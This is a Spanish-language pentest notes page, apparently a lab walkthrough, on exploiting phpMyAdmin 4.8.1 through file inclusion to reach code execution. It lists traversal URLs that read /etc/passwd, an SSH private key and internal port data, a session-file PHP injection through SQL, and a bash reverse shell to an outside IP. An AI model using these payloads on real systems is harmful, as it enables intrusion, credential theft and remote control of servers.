> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1 (RCE)

**Identificación de vulnerabilidad RCE de phpMyAdmin**

Después de identificar que phpMyAdmin versión 4.8.1 es vulnerable, use SearchExploit para encontrar exploits coincidentes y confirmar la [RCE](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) ruta.

<figure><img src="/files/7241999b5cd1d333722a1b5c4a1f6b1b78e93658" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/29d5a1b4a5ba6e15c7f7c084001ada82bbb96085" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad RCE

Exploita la ruta RCE inyectando el siguiente script en la URL para leer `/etc/passwd`:

<figure><img src="/files/bc7580e4bef5abaa45ba20f5dce17c22a857d8f6" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/5048bce56286733db866eaa5ec6ef91e9efcf96d" alt=""><figcaption></figcaption></figure>

**Intentar recuperar la `admin` clave privada SSH del usuario**

Intenta acceder a la `admin` clave privada SSH del usuario con la siguiente URL, pero devuelve un error:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/6b489d92cb30a86e40b1470bd947caa002395397" alt=""><figcaption></figcaption></figure>

**Enumeración de puertos de la red privada interna**

Usa la siguiente URL para listar los puertos internos del servidor a través de `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/99ca8c9a30acfa5b84facb48b025fb878071ae42" alt=""><figcaption></figcaption></figure>

Guarda estos puertos en un archivo `de datos` para análisis posterior.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/f8355a0f391ebe399bd3ec85cd9e760d76793252" alt=""><figcaption></figcaption></figure>

**Identificación del directorio que contiene las sesiones de phpMyAdmin**

Revisando el script, identifica el directorio que contiene las sesiones de phpMyAdmin:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/05400d5ed22a763be7b28fd444613430fafb6f96" alt=""><figcaption></figcaption></figure>

## Inyección de comandos en phpMyAdmin

**Uso de la cookie de sesión de phpMyAdmin para inyección de comandos**

<figure><img src="/files/ebd5d99adb5d4801eb71ead84510693af7d3fb7c" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/84b7ee2ff4c6f134c6c2fc43855af9ff8ecd1b8b" alt=""><figcaption></figcaption></figure>

#### Este archivo interpreta comandos de las consultas.

```sql
SELECT 'testing';
```

<figure><img src="/files/d975cb3236d4a69bd105ffbaa01f2d4dbc1c67d2" alt=""><figcaption></figcaption></figure>

**Inyección de comandos SQL para obtener una** [**shell inversa**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**El acceso a la máquina finalmente se logra:**

<figure><img src="/files/d4856fb7c406681e28bc8bf20d165b66fc5772a3" alt=""><figcaption></figcaption></figure>


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